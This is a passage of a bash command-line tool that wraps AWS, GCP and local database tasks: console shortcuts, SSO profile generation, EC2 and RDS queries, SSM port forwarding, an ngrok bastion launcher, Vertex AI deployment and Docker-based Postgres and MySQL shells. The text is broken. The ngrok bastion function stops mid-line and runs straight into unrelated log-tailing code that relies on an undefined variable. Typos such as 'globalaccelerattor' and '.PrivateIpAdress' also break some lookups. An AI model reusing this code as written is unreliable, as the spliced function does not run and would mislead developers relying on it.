[application-insights]="cloudwatch/home?#settings:AppInsightsSettings" [appstream]="appstream2" [autoscaling]="ec2/home#AutoScalingGroups:" [autoscaling-plans]="awsautoscaling/home#dashboard" [budgets]="billing/home#/budgets" [ce]="costmanagement/home#/cost-explorer" [chime]="chime-sdk" [clouddirectory]="directoryservicev2/home#!/cloud-directories" [cloudhsmv2]="cloudhsm" [cloudsearchdomain]="cloudsearch" [codeartifact]="codesuite/codeartifact" [codeguru-reviewer]="codeguru/reviewer" [codeguruprofiler]="codeguru/profiler" [cognito-identity]="iamv2/home#/identity_providers" [cognito-idp]="cognito/v2/idp" [cognito-sync]="appsync" [connectparticipant]="connect" [cur]="billing/home#/reports" [dax]="dynamodbv2/home#dax-clusters" [directconnect]="directconnect/v2/home" [dlm]="ec2/home#Lifecycle" [dms]="dms/v2" [ds]="directoryservicev2" [dynamodbstreams]="dynamodbv2" [ebs]="ec2/home#Volumes:" [ec2-instance-connect]="ec2/home#Instances:" [elastic-inference]="sagemaker" [elb]="ec2/home#LoadBalancers:" [elbv2]="ec2/home#LoadBalancers:" [es]="aos/home" [fms]="wafv2/fmsv2/home" [forecastquery]="forecast" [glacier]="glacier/home" [globalaccelerator]="globalaccelerattor/home" [identitystore]="singlesignon" [iot-data]="iot" [iot-jobs-data]="iot/home#/jobhub" [iot1click-devices]="iot/home#/thinghub" [iot1click-projects]="iot" [iotevents-data]="iotevents/home#/input" [iotsecuretunneling]="iot/home#/tunnelhub" [iotthingsgraph]="iot/home#/thinghub" [kafka]="msk" [kinesis-video-archived-media]="kinesisvideo/home" [kinesis-video-media]="kinesisvideo/home" [kinesis-video-signaling]="kinesisvideo/home#/signalingChannels" [kinesisanalyticsv2]="flink" [kinesisvideo]="kinesisvideo/home" [lex-models]="lexv2/home#bots" [lex-runtime]="lexv2/home#bots" [lightsail]="ls" [logs]="cloudwatch/home#logsV2:" [macie2]="macie" [marketplace-catalog]="marketplace/home#/search!mpSearch/search" [marketplace-entitlement]="marketplace" [marketplacecommerceanalytics]="marketplace/home#/vendor-insights" [mediapackage-vod]="mediapackagevod" [mediastore-data]="mediastore" [meteringmarketplace]="marketplace" [mgh]="migrationhub" [migrationhub-config]="migrationhub" [mq]="amazon-mq" [networkmanager]="networkmanager/home" [opsworkscm]="opsworks" [personalize]="personalize/home" [personalize-events]="personalize/home" [personalize-runtime]="personalize/home" [pi]="rds/home#performance-insights" [pinpoint]="pinpointv2" [pinpoint-email]="pinpoint/home#/email-account-settings/overview" [pinpoint-sms-voice]="pinpoint" [qldb-session]="qldb" [ram]="ram/home" [rds-data]="rds/home#query-editor:" [redshift-data]="redshiftv2/home#/query-editor:" [resourcegroupstaggingapi]="resource-groups" [route53domains]="route53/domains" [s3control]="s3" [sagemaker-a2i-runtime]="sagemaker/groundtruth#/a2i" [sagemaker-runtime]="sagemaker" [savingsplans]="costmanagement/home#/savings-plans/overview" [schemas]="events/home#/schemas" [sdb]="simpledb" [service-quotas]="servicequotas" [servicediscovery]="cloudmap" [shield]="wafv2/shieldv2" [sms]="mgn/home" [snowball]="snowfamily" [ssm]="systems-manager" [sso]="singlesignon" [sso-admin]="singlesignon" [sso-oidc]="singlesignon" [stepfunctions]="states" [sts]="iam" [swf]="swf/v2" [translate]="translate/home" [waf]="wafv2/homev2" [waf-regional]="wafv2/homev2" [wafv2]="wafv2/homev2" [workdocs]="zocalo" [workmailmessageflow]="workmail" [xray]="xray/home" ) case "$service" in "pricing") firefox "https://calculator.aws" > /dev/null 2>&1 exit ;; "mturk") firefox "https://mturk.com" > /dev/null 2>&1 exit ;; "quicksight") firefox "quicksight.aws.amazon.com" > /dev/null 2>&1 exit ;; *) if [[ -v service_aliases["$service"] ]]; then service_url="${base_aws_url}/${service_aliases[$service]}" else service_url="${base_aws_url}/${service}" fi ;; esac aws_console --profile "$aws_profile" --region "$aws_region" --destination "$service_url" } dtools_aws_shell_command() { aws --cli-auto-prompt } dtools_aws_profile_command() { set-aws-profile() { if ( grep -q "AWS_PROFILE" ~/.bashrc ); then sed -i "/^AWS_PROFILE=/c\export AWS_PROFILE=$1" ~/.bashrc fi bash -c "export AWS_PROFILE=$1; exec bash" } declare profile # shellcheck disable=SC2154 set-aws-profile "${args[profile]}" } dtools_aws_region_command() { declare region # shellcheck disable=SC2154 region="${args[region]}" if ( grep -q "AWS_REGION" ~/.bashrc ); then sed -i "/^AWS_REGION=/c\export AWS_REGION=$region" ~/.bashrc fi bash -c "export AWS_REGION=$region; exec bash" } dtools_aws_toggle_auto_prompt_command() { set-aws-auto-prompt() { if ( grep "AWS_CLI_AUTO_PROMPT" ~/.bashrc > /dev/null 2>&1 ); then sed -i "/AWS_CLI_AUTO_PROMPT=/c\export AWS_CLI_AUTO_PROMPT=$1" ~/.bashrc fi bash -c "export AWS_CLI_AUTO_PROMPT=$1; exec bash" } if [[ -z ${AWS_CLI_AUTO_PROMPT} || $AWS_CLI_AUTO_PROMPT == 'off' ]]; then set-aws-auto-prompt on else set-aws-auto-prompt off fi } dtools_aws_export_sso_creds_command() { # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" declare aws_region="$(get-aws-region)" validate-or-refresh-aws-auth bash -c "eval \"\$(aws --profile $aws_profile --region $aws_region configure export-credentials --format env)\"; export AWS_REGION=$aws_region; exec bash" } dtools_aws_generate_sso_profiles_command() { # shellcheck disable=SC2154 declare aws_region="${args[--default-cli-region]}" declare sso_region="${args[--sso-region]}" declare sso_start_url="${args[--sso-start-url]}" declare backup="${args[--backup]}" set -e if [[ -z $aws_region ]]; then aws_region="$sso_region" fi export AWS_REGION=$aws_region write-profile-to-config() { profileName=$1 ssoStartUrl=$2 ssoRegion=$3 ssoAccountId=$4 ssoRoleName=$5 defaultRegion=$6 blue_bold "Creating profile $profileName" cat <<-EOF >> "$HOME"/.aws/config [profile $profileName] sso_start_url = $ssoStartUrl sso_region = $ssoRegion sso_account_id = $ssoAccountId sso_role_name = $ssoRoleName region = $defaultRegion EOF } if [[ $backup == 1 ]]; then yellow "Backing up old AWS config" mv "$HOME"/.aws/config "$HOME"/.aws/config.bak fi login() { ssoLoggedIn=$(find "$HOME/.aws/sso/cache" -type f ! -name "botocore*" -exec jq -r '.accessToken | select(. != null)' {} \; | wc -l) if [[ $ssoLoggedIn == 0 || ! -f "$HOME"/.aws/config ]]; then yellow_bold "You must first be logged into AWS with at least one profile. Logging in now..." [[ -f "$HOME"/.aws/config ]] || touch "$HOME"/.aws/config export AWS_PROFILE='' export AWS_REGION='' /usr/bin/expect<<-EOF set force_conservative 1 set timeout 120 match_max 100000 spawn aws configure sso expect "SSO session name (Recommended):" send -- "session\r" expect "SSO start URL" send -- "$sso_start_url\\r" expect "SSO region" send -- "$sso_region\r" expect { "SSO registration scopes" { send "sso:account:access\\r" exp_continue } -re {(.*)accounts available to you(.*)} { send "\\r" exp_continue } -re {(.*)roles available to you(.*)} { send "\\r" exp_continue } "CLI default client Region" } send "\r\r\r\r" expect eof EOF elif ! (aws sts get-caller-identity > /dev/null 2>&1); then red_bold "You must be logged into AWS before running this script." yellow "Logging in via SSO. Follow the steps in the opened browser to log in." profiles=$(awk '/\[profile*/ { print substr($2, 1, length($2)-1); }' ~/.aws/config | tail -1) if ! aws sso login --profile "${profiles[0]}"; then red_bold "Unable to login. Please try again." exit 1 fi green "Logged in!" fi blue "Fetching SSO access token" profiles=$(awk '/\[profile*/ { print substr($2, 1, length($2)-1); }' ~/.aws/config | tail -1) # shellcheck disable=SC2227 ACCESS_TOKEN=$(find "$HOME/.aws/sso/cache" -type f ! -name 'botocore*' -exec jq -r '.accessToken | select(. != null)' {} 2>/dev/null \; | tail -1) } login if ! (aws sso list-accounts --profile "${profiles[0]}" --region "$aws_region" --access-token "$ACCESS_TOKEN" --output json > /dev/null 2>&1); then red "Unable to use existing SSO access token. Wiping tokens and generating new tokens..." rm "$HOME"/.aws/sso/cache/*.json login fi aws sso list-accounts --profile "${profiles[0]}" --region "$aws_region" --access-token "$ACCESS_TOKEN" --output json | jq '.accountList[]' -rc | while read -r account; do declare accountId declare accountName accountId="$(echo "$account" | jq -rc '.accountId')" accountName="$(echo "$account" | jq -rc '.accountName | ascii_downcase | gsub(" "; "-")')" aws sso list-account-roles --profile "${profiles[0]}" --region "$aws_region" --access-token "$ACCESS_TOKEN" --output json --account-id "$accountId" | jq '.roleList[].roleName' -rc | while read -r roleName; do declare profileName profileName="$accountName-$roleName" if ! (grep -q "$profileName" ~/.aws/config); then blue "Creating profiles for account $accountName" write-profile-to-config "$accountName-$roleName" "$sso_start_url" "$sso_region" "$accountId" "$roleName" "$aws_region" fi done done green_bold "Successfully generated profiles from AWS SSO!" } dtools_aws_ec2_list_instances_command() { # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" declare aws_profile="$(get-aws-profile)" # shellcheck disable=SC2154 declare detailed_format="${args[--detailed]}" eval "filters=(${args[--filter]:-})" validate-or-refresh-aws-auth spinny-start # shellcheck disable=SC2155 declare instances=$(aws ec2 describe-instances --profile "$aws_profile" --region "$aws_region") spinny-stop # Must be ordered by non-nested fields first declare -A instance_field_mappings=( [instance-id]='InstanceId' [instance-type]='InstanceType' [private-dns-name]='PrivateDnsName' [private-ip-address]='PrivateIpAddress' [public-dns-name]='PublicDnsName' [subnet-id]='SubnetId' [vpc-id]='VpcId' [tags]='Tags' [launch-time]='LaunchTime' [architecture]='Architecture' [instance-profile]='IamInstanceProfile' [security-groups]='SecurityGroups' [availability-zone]='"AvailabilityZone": .Placement.AvailabilityZone' [state]='"State": .State.Name' [os]='"OS": .PlatformDetails' ) if [[ $detailed_format == 1 ]]; then jq . <<< "$instances" elif [[ -v filters[@] ]]; then declare object_def="" for filter_name in "${!instance_field_mappings[@]}"; do # shellcheck disable=SC2154 if printf '%s\0' "${filters[@]}" | grep -Fxqz -- "$filter_name"; then object_def+="${instance_field_mappings[$filter_name]}, " fi done jq '.Reservations[].Instances[] | { '"$object_def"' }' <<< "$instances" else jq '.Reservations[].Instances[] | pick(.InstanceId, .PrivateDnsName, .PrivateIpAdress, .PublicDnsName, .SubnetId, .VpcId, .Tags)' <<< "$instances" fi } dtools_aws_ssm_start_port_forwarding_command() { # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" declare aws_region="$(get-aws-region)" # shellcheck disable=SC2154 declare instance_id="${args[instance-id]}" declare remote_port="${args[--remote-port]}" declare local_port="${args[--local-port]}" declare host="${args[--host]}" validate-or-refresh-aws-auth aws ssm start-session \ --profile "$aws_profile" \ --region "$aws_region" \ --target "$instance_id" \ --document-name "AWS-StartPortForwardingSessionToRemoteHost" \ --parameters "portNumber=${remote_port},localPortNumber=${local_port},host=${host}" } dtools_aws_ssm_start_ngrok_bastion_instance_command() { set -e # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" # shellcheck disable=SC2154 declare subnet_id="${args[--subnet-id]}" declare hostname="${args[--hostname]}" declare port="${args[--port]}" declare ngrok_url="${args[--ngrok-url]}" declare ngrok_auth_token="${args[--ngrok-auth-token]}" validate-or-refresh-aws-auth cleanup() { if [[ -n "$instance_id" ]]; then yellow "Terminating the EC2 instance..." aws --profile "$aws_profile" --region "$aws_region" ec2 terminate-instances --instance-ids "$instance_id" fi } trap "cleanup" EXIT cyan "Ensuring the AmazonSSMRoleForInstancesQuickSetup role exists..." if ! aws --profile "$aws_profile" --region "$aws_region" iam get-role --role-name AmazonSSMRoleForInstancesQuickSetup > /dev/null 2>&1; then yellow "Creating the AmazonSSMRoleForInstancesQuickSetup role..." aws --profile "$aws_profile" --region "$aws_region" iam create-role \ --role-name AmazonSSMRoleForInstancesQuickSetup \ --assume-role-policy-document '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Principal": {"Service": "ec2.amazonaws.com"}, "Action": "sts:AssumeRole"}]}' \ > /dev/null yellow "Attaching the AmazonSSMManagedInstanceCore policy to the role..." aws --profile "$aws_profile" --region "$aws_region" iam attach-role-policy \ --role-name AmazonSSMRoleForInstancesQuickSetup \ --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore yellow "Attaching the AmazonSSMPatchAssociation policy to the role..." aws --profile "$aws_profile" --region "$aws_region" iam attach-role-policy \ --role-name AmazonSSMRoleForInstancesQuickSetup \ --policy-arn arn:aws:iam::aws:policy/AmazonSSMPatchAssociation yellow "Creating the AmazonSSMRoleForInstancesQuickSetup instance profile..." aws --profile "$aws_profile" --region "$aws_region" iam create-instance-profile \ --instance-profile-name AmazonSSMRoleForInstancesQuickSetup \ > /dev/null yellow "Adding the AmazonSSMRoleForInstancesQuickSetup role to the instance profile..." aws --profile "$aws_profile" --region "$aws_region" iam add-role-to-instance-profile \ --instance-profile-name AmazonSSMRoleForInstancesQuickSetup --role-name AmazonSSMRoleForInstancesQuickSetup \ > /dev/null sleep 5 fi cyan "Launching an EC2 instance..." # shellcheck disable=SC2155 declare instance_id=$({ aws --profile "$aws_profile" --region "$aws_region" ec2 run-instances \ --image-id resolve:ssm:/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 \ --instance-type t2.micro \ --count 1 \ --subnet-id "$subnet_id" \ --iam-instance-profile Name=AmazonSSMRoleForInstancesQuickSetup \ --user-data $'#!/bin/bash\nwget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz\ntar xvzf ./ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin' \ --query Instances[0].InstanceId \ --output text }) get-instance-state() { aws --profile "$aws_profile" --region "$aws_region" ec2 describe-instance-status \ --instance-ids "$instance_id" \ --query InstanceStatuses[0] |\ jq '. | {instance: .InstanceStatus.Details[0].Status, system: .SystemStatus.Details[0].Status}' } status_checks=$(get-instance-state) until [[ $(jq -r '.instance' <<< "$status_checks") == "passed" && $(jq -r '.system' <<< "$status_checks") == "passed" ]]; do yellow "Waiting for instance to start..." sleep 1 status_checks=$(get-instance-state) done green 'Instance is running!' yellow "Adding the ngrok authtoken to the instance..." aws --profile "$aws_profile" --region "$aws_region" ssm start-session \ --target "$instance_id" \ --document-name AWS-StartInteractiveCommand \ --parameters command="ngrok config add-authtoken $ngrok_auth_token" yellow 'Starting ngrok tunnel...' cyan 'The resource will be available at the following URL: ' cyan_bold "https://$ngrok_url" cyan "\nYou will be able to point Postman to the above URL to access the resource." yellow_bold "\nPress 'Ctrl+C' to stop the ngrok tunnel and to terminate the EC2 instance." red_bold "This information will only be displayed once. Please make a note of it.\n" read -rp "To acknowledge receipt and continue, press 'Enter'." > "$temp_log_file" & if [[ ${args[--verbose]} == 1 ]]; then if [[ ${args[--stdout]} == 1 ]]; then tail -f "$temp_log_file" else lnav "$temp_log_file" fi elif [[ ${args[--stdout]} == 1 ]]; then tail -f "$temp_log_file" |\ awk '{$1=""; gsub(/^[ \t]+/, "", $0); if ($0 !~ /^END|^REPORT|^START/) { print }}' else tail -f "$temp_log_file" |\ awk '{$1=""; gsub(/^[ \t]+/, "", $0); if ($0 !~ /^END|^REPORT|^START/) { print }}' |\ lnav fi } dtools_aws_logs_query_log_groups_command() { # shellcheck disable=SC2155 export aws_region="$(get-aws-region)" # shellcheck disable=SC2155 export aws_profile="$(get-aws-profile)" # shellcheck disable=SC2154 export query="${args[query]}" # shellcheck disable=SC2154 export start_time="${args[--start-time]}" # shellcheck disable=SC2154 export end_time="${args[--end-time]}" eval "log_group_names=(${args[--log-group-name]})" export log_file=$(mktemp) trap "rm -f $log_file" EXIT validate-or-refresh-aws-auth write-logs() { log_group="$1" query_id="$(aws logs start-query \ --log-group-names "$log_group" \ --start-time "$(date -d "$start_time" +"%s%3N")" \ --end-time "$(date -d "$end_time" +"%s%3N")" \ --query-string "$query" \ --profile "$aws_profile" \ --region "$aws_region" \ --output json | jq -r '.queryId // empty')" if [[ -z $query_id ]]; then red "Unable to start query for log group: '$log_group'" exit 1 fi until [[ "$(aws logs get-query-results --query-id "$query_id" --profile "$aws_profile" --region "$aws_region" --query status --output text)" == "Complete" ]]; do sleep 1 done aws logs get-query-results --query-id "$query_id" --profile "$aws_profile" --region "$aws_region" | tr -d '\000-\037' | jq -r --arg log_group "$log_group" '.results[] | { "timestamp": (.[] | select(.field == "@timestamp") | .value), "message": (.[] | select(.field == "@message") | .value), "logGroup": $log_group }' >> "$log_file" } export -f write-logs parallel -j8 write-logs {} ::: ${log_group_names[*]} jq -rs '. | sort_by(.timestamp) | map("\(.timestamp) \(.logGroup) \(.message)")[]' "$log_file" | sed '/^$/d' } dtools_aws_rds_list_db_instances_command() { # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" validate-or-refresh-aws-auth spinny-start aws --profile "$aws_profile" \ --region "$aws_region" \ rds describe-db-instances \ --query 'DBInstances[].DBInstanceIdentifier' \ --output text spinny-stop } dtools_aws_rds_fetch_db_connection_details_command() { # shellcheck disable=SC2155 declare aws_region="$(get-aws-region)" # shellcheck disable=SC2155 declare aws_profile="$(get-aws-profile)" # shellcheck disable=SC2154 declare db_instance="${args[db_instance]}" validate-or-refresh-aws-auth spinny-start aws --profile "$aws_profile" \ --region "$aws_region" \ rds describe-db-instances \ --query DBInstances[] |\ jq -r '.[] | select(.DBInstanceIdentifier == "'"$db_instance"'") | .Endpoint | {"address": .Address, "port": .Port}' spinny-stop } dtools_gcp_login_command() { # shellcheck disable=SC2155 declare gcp_project="$(get-gcp-project)" declare gcp_location="$(get-gcp-location)" yellow "Refreshing user credentials..." spinny-start if ! (gcloud auth login > /dev/null 2>&1); then spinny-stop red_bold "Unable to log into GCP." else spinny-stop close-gcp-auth-tab green "User credentials refreshed" fi yellow "Refreshing application default credentials..." spinny-start if ! (gcloud auth application-default login > /dev/null 2>&1); then spinny-stop red_bold "Unable to configure GCP credentials for applications." else spinny-stop close-gcp-auth-tab green "GCP application default credentials refreshed" fi if ( grep "GCP_PROJECT" ~/.bashrc > /dev/null 2>&1 ); then sed -i "/^GCP_PROJECT=/c\export GCP_PROJECT=$gcp_project" ~/.bashrc fi if ( grep "GCP_LOCATION" ~/.bashrc > /dev/null 2>&1 ); then sed -i "/^GCP_LOCATION=/c\export GCP_LOCATION=$gcp_location" ~/.bashrc fi bash -c "export GCP_PROJECT=$gcp_project; export GCP_LOCATION=$gcp_location; exec bash" } dtools_gcp_project_command() { # shellcheck disable=SC2154 declare gcp_project="${args[project]}" if ( grep "GCP_PROJECT" ~/.bashrc > /dev/null 2>&1 ); then sed -i "/^GCP_PROJECT=/c\export GCP_PROJECT=$gcp_project" ~/.bashrc fi gcloud config set project "$gcp_project" bash -c "export GCP_PROJECT=$gcp_project; exec bash" } dtools_gcp_location_command() { # shellcheck disable=SC2154 declare gcp_location="${args[location]}" if ( grep "GCP_LOCATION" ~/.bashrc ); then sed -i "/^GCP_LOCATION=/c\export GCP_LOCATION=$gcp_location" ~/.bashrc fi bash -c "export GCP_LOCATION=$gcp_location; exec bash" } dtools_gcp_get_project_number_command() { # shellcheck disable=SC2154 declare project_name="${args[project_name]}" validate-or-refresh-gcp-auth gcloud projects describe "$project_name" --format="value(projectNumber)" } dtools_gcp_vertex_deploy_model_command() { # shellcheck disable=SC2155 declare gcp_location="$(get-gcp-location)" declare gcp_project="$(get-gcp-project)" # shellcheck disable=SC2154 declare container_image="${args[--container-image]}" declare container_image_uri="${gcp_location}-docker.pkg.dev/${gcp_project}/${container_image}" declare container_port="${args[--container-port]}" declare health_route="${args[--health-route]}" declare predict_route="${args[--predict-route]}" declare display_name="${args[--display-name]}" declare artifact_uri="gs://${gcp_project}/${args[--model-gcs-uri]}" declare endpoint_name="${args[--endpoint-name]}" declare machine_type="${args[--machine-type]}" declare accelerator="${args[--accelerator]}" validate-or-refresh-gcp-auth get-endpoint-id() { gcloud ai endpoints list \ --region "$gcp_location" \ 2> /dev/null |\ grep -i "$endpoint_name" |\ awk '{print $1;}' } endpoint-has-deployed-model() { [[ $(gcloud ai endpoints describe "$endpoint_id" \ --region "$gcp_location" \ --format json \ 2> /dev/null |\ jq -r '.deployedModels | length > 0') == "true" ]] } yellow "Uploading model to Vertex model registry..." if [[ -z "$artifact_uri" ]]; then gcloud ai models upload \ --project "$gcp_project" \ --region "$gcp_location" \ --display-name "$display_name" \ --container-image-uri "$container_image_uri" \ --container-ports "$container_port" \ --container-health-route "$health_route" \ --container-predict-route "$predict_route" else gcloud ai models upload \ --project "$gcp_project" \ --region "$gcp_location" \ --display-name "$display_name" \ --container-image-uri "$container_image_uri" \ --container-ports "$container_port" \ --container-health-route "$health_route" \ --container-predict-route "$predict_route" \ --artifact-uri "$artifact_uri" fi green "Successfully uploaded model to Vertex model registry" new_model_id="$(gcloud ai models list --sort-by ~versionCreateTime --format 'value(name)' --region "$gcp_location" 2> /dev/null | head -1)" yellow "New model id: '$new_model_id'" if [[ -z $(get-endpoint-id) ]]; then red_bold "Endpoint with name '$endpoint_name' does not exist." yellow "Creating new endpoint..." dataset_name="$(tr '-' '_' <<< "$endpoint_name")" gcloud ai endpoints create \ --display-name "$endpoint_name" \ --region "$gcp_location" \ --request-response-logging-rate 1 \ --request-response-logging-table "bq://${gcp_project}.${dataset_name}.serving_predict" green "Successfully created new endpoint with name: '$endpoint_name'" fi endpoint_id="$(get-endpoint-id)" yellow "Endpoint '$endpoint_name' has id: '$endpoint_id'" if endpoint-has-deployed-model; then old_model_id="$(gcloud ai endpoints describe "$endpoint_id" \ --region "$gcp_location" \ --format json \ 2> /dev/null |\ jq -r '.deployedModels[0].model' |\ xargs basename)" deployed_model_id="$(gcloud ai endpoints describe "$endpoint_id" \ --region "$gcp_location" \ --format json \ 2> /dev/null |\ jq -r '.deployedModels[0].id')" red "Undeploying existing model: '$old_model_id' with deployed id: '$deployed_model_id'..." gcloud ai endpoints undeploy-model "$endpoint_id" \ --region "$gcp_location" \ --deployed-model-id "$deployed_model_id" green "Successfully undeployed existing model: '$old_model_id'" fi yellow "Deploying new model to endpoint '$endpoint_id'..." if [[ -z "$accelerator" ]]; then gcloud ai endpoints deploy-model "$endpoint_id" \ --region "$gcp_location" \ --model "$new_model_id" \ --display-name "$display_name" \ --machine-type "$machine_type" else gcloud ai endpoints deploy-model "$endpoint_id" \ --region "$gcp_location" \ --model "$new_model_id" \ --display-name "$display_name" \ --machine-type "$machine_type" \ --accelerator "type=${accelerator},count=1" fi green "Successfully deployed model '$new_model_id' to endpoint '$endpoint_id'" } dtools_gcp_vertex_predict_command() { # shellcheck disable=SC2155 declare gcp_location="$(get-gcp-location)" # shellcheck disable=SC2154 declare file="${args[--file]}" declare endpoint_name="${args[--endpoint-name]}" validate-or-refresh-gcp-auth endpoint_id="$(gcloud ai endpoints list --region "$gcp_location" --format json 2>/dev/null | jq --arg endpoint_name "$endpoint_name" -r '.[] | select(.displayName == $endpoint_name) | .deployedModels[0].id')" if [[ -z $endpoint_id ]]; then red "Invalid endpoint name specified: '$endpoint_name'" red "Unable to determine endpoint ID" exit 1 fi model_uri="$(gcloud ai endpoints list --region "$gcp_location" --format json 2>/dev/null | jq --arg endpoint_name "$endpoint_name" -r '.[] | select(.displayName == $endpoint_name) | .name')" if [[ -z $model_uri ]]; then red "Unable to determine model URI from given endpoint name: '$endpoint_name' and region: '$gcp_location'" exit 1 fi bearer="$(gcloud auth print-access-token)" curl -X POST \ -H "Authorization: Bearer $bearer" \ -H "Content-Type: application/json; charset=utf-8" \ -d @"${file}" \ "https://${gcp_location}-aiplatform.googleapis.com/v1/$model_uri:predict" } dtools_gcp_vertex_list_endpoints_command() { # shellcheck disable=SC2155 declare gcp_location="$(get-gcp-location)" declare gcp_project="$(get-gcp-project)" validate-or-refresh-gcp-auth # shellcheck disable=SC2154 if [[ ${args[--detailed]} == 1 ]]; then gcloud ai endpoints list --project "$gcp_project" --region "$gcp_location" --format json else gcloud ai endpoints list --project "$gcp_project" --region "$gcp_location" --format=json | jq -r '.[].displayName' fi } dtools_gcp_vertex_tail_endpoint_logs_command() { # shellcheck disable=SC2155 declare gcp_location="$(get-gcp-location)" declare gcp_project="$(get-gcp-project)" # shellcheck disable=SC2154 declare endpoint_name="${args[endpoint_name]}" validate-or-refresh-gcp-auth endpoint_id="$(gcloud ai endpoints list --region "$gcp_location" --format json 2>/dev/null | jq --arg endpoint_name "$endpoint_name" -r '.[] | select(.displayName == $endpoint_name) | .deployedModels[0].id')" if [[ -z $endpoint_id ]]; then red "Invalid endpoint name specified: '$endpoint_name'" red "Unable to determine endpoint ID" exit 1 fi gcloud beta logging tail "resource.type=cloud_aiplatform_endpoint AND resource.labels.endpoint_id=$endpoint_id" --project "$gcp_project" } dtools_gcp_artifacts_list_repositories_command() { # shellcheck disable=SC2155 declare gcp_location="$(get-gcp-location)" declare gcp_project="$(get-gcp-project)" validate-or-refresh-gcp-auth gcloud artifacts repositories list --project "$gcp_project" --location "$gcp_location" --format json 2> /dev/null | jq -r '.[] | .name' | awk -F/ '{printf("%-20s %-15s\n", $6, $4)}' } dtools_gcp_artifacts_list_images_command() { # shellcheck disable=SC2155 declare gcp_project="$(get-gcp-project)" declare gcp_location="$(get-gcp-location)" # shellcheck disable=SC2154 declare repository_name="${args[repository_name]}" validate-or-refresh-gcp-auth if [[ "${args[--detailed]}" == 1 ]]; then gcloud artifacts docker images list "$gcp_location-docker.pkg.dev/$gcp_project/$repository_name" --format json else gcloud artifacts docker images list "$gcp_location-docker.pkg.dev/$gcp_project/$repository_name" 2>&1 | awk 'NR > 3 {print $1}' | xargs -I{} basename {} fi } dtools_db_postgres_command() { set -e trap "docker stop postgres > /dev/null 2>&1" EXIT # shellcheck disable=SC2154 declare db="${args[--database]}" declare port="${args[--port]}" declare persistent_dir_prefix="${args[--persistent-dir-prefix]}" declare data_dir="${HOME}/.db/postgres/$persistent_dir_prefix" eval "schema=(${args[--schema]:-})" [[ -d $data_dir ]] || mkdir -p "$data_dir" start-persistent-postgres-container() { docker run -d --rm \ -v ".:/data" \ -v "$data_dir:/var/lib/postgresql" \ -p "$port:5432" \ --name postgres \ -e POSTGRES_PASSWORD=password \ postgres } if [[ ${args[--wipe-persistent-data]} == 1 ]]; then yellow "Removing persisted data from: $data_dir..." sudo rm -rf "$data_dir" fi if [[ "${args[--persistent]}" == 1 ]]; then start-persistent-postgres-container spinny-start elif [[ "${args[--dump]}" == 1 || "${args[--dump-to-dbml]}" == 1 ]]; then start-persistent-postgres-container > /dev/null 2>&1 else docker run -d --rm \ -v ".:/data" \ -p "$port:5432" \ --name postgres \ -e POSTGRES_PASSWORD=password \ postgres spinny-start fi sleep 3 # shellcheck disable=SC2154 if [[ "${args[--tui]}" == 1 ]]; then spinny-stop harlequin -a postgres "postgres://postgres:password@localhost:$port/$db" -f . elif [[ "${args[--dump]}" == 1 ]]; then docker exec postgres pg_dump -U postgres -s -F p -E UTF-8 elif [[ "${args[--dump-to-dbml]}" == 1 ]]; then if [[ "${#schema[@]}" != 0 ]]; then schemas_parameter="schemas=$(echo -n "${schema[*]}" | tr ' ' ',')" env NODE_NO_WARNINGS=1 db2dbml postgres "postgresql://postgres:password@localhost:$port/$db?$schemas_parameter" rm -rf dbml-error.log else env NODE_NO_WARNINGS=1 db2dbml postgres "postgresql://postgres:password@localhost:$port/$db" rm -rf dbml-error.log fi else spinny-stop docker exec -it postgres psql -U postgres fi } dtools_db_mysql_command() { set -e trap "docker stop mysql > /dev/null 2>&1" EXIT # shellcheck disable=SC2154 declare db="${args[--database]}" declare port="${args[--port]}" declare persistent_dir_prefix="${args[--persistent-dir-prefix]}" declare data_dir="${HOME}/.db/mysql/$persistent_dir_prefix" [[ -d $data_dir ]] || mkdir -p "$data_dir" start-persistent-mysql-container() { docker run -d --rm \ -v ".:/app:ro" \ -v "$data_dir:/var/lib/mysql" \ -p "$port:3306" \ --name mysql \ -e MYSQL_ROOT_PASSWORD=password \ mysql } if [[ ${args[--wipe-persistent-data]} == 1 ]]; then yellow "Removing persisted data from: $data_dir..." rm -rf "$data_dir" fi if [[ "${args[--persistent]}" == 1 ]]; then start-persistent-mysql-container spinny-start elif [[ "${args[--dump]}" == 1 || "${args[--dump-to-dbml]}" == 1 ]]; then start-persistent-mysql-container > /dev/null 2>&1 else docker run -d --rm \ -v ".:/app:ro" \ -p "$port:3306" \ --name mysql \ -e MYSQL_ROOT_PASSWORD=password \ mysql spinny-start fi sleep 10 # shellcheck disable=SC2154 if [[ "${args[--tui]}" == 1 ]]; then spinny-stop if [[ -z $db ]]; then harlequin -a mysql -h localhost -p "$port" -U root --password password else harlequin -a mysql -h localhost -p "$port" -U root --password password --database "$db" fi elif [[ "${args[--dump]}" == 1 ]]; then if [[ -z $db ]]; then docker exec mysql mysqldump --protocol=tcp -u root -P "$port" --password=password --no-data --all-databases else docker exec mysql mysqldump --protocol=tcp -u root -P "$port" --password=password --no-data --databases "$db" fi elif [[ "${args[--dump-to-dbml]}" == 1 ]]; then if [[ -z $db ]]; then env NODE_NO_WARNINGS=1 db2dbml mysql "mysql://root:password@localhost:$port" rm -rf dbml-error.log else env NODE_NO_WARNINGS=1 db2dbml mysql "mysql://root:password@localhost:$port/$db" rm -rf dbml-error.log fi else spinny-stop docker exec -it mysql mysql -u root --password=password fi } dtools_db_bigquery_command() { set -e # shellcheck disable=SC2154 declare gcp_location="${args[--location]}" # shellcheck disable=SC2154 declare gcp_project="${args[--project]}" validate-or-refresh-gcp-auth if [[ -n $gcp_location ]]; then harlequin -a bigquery --project "$gcp_project" --location "$gcp_location" else harlequin -a bigquery --project "$gcp_project" fi } dtools_elastic_init_command() { declare current_dir="$PWD" [[ -d $HOME/Applications ]] || mkdir "$HOME"/Applications cd "$HOME"/Applications || exit [[ -d 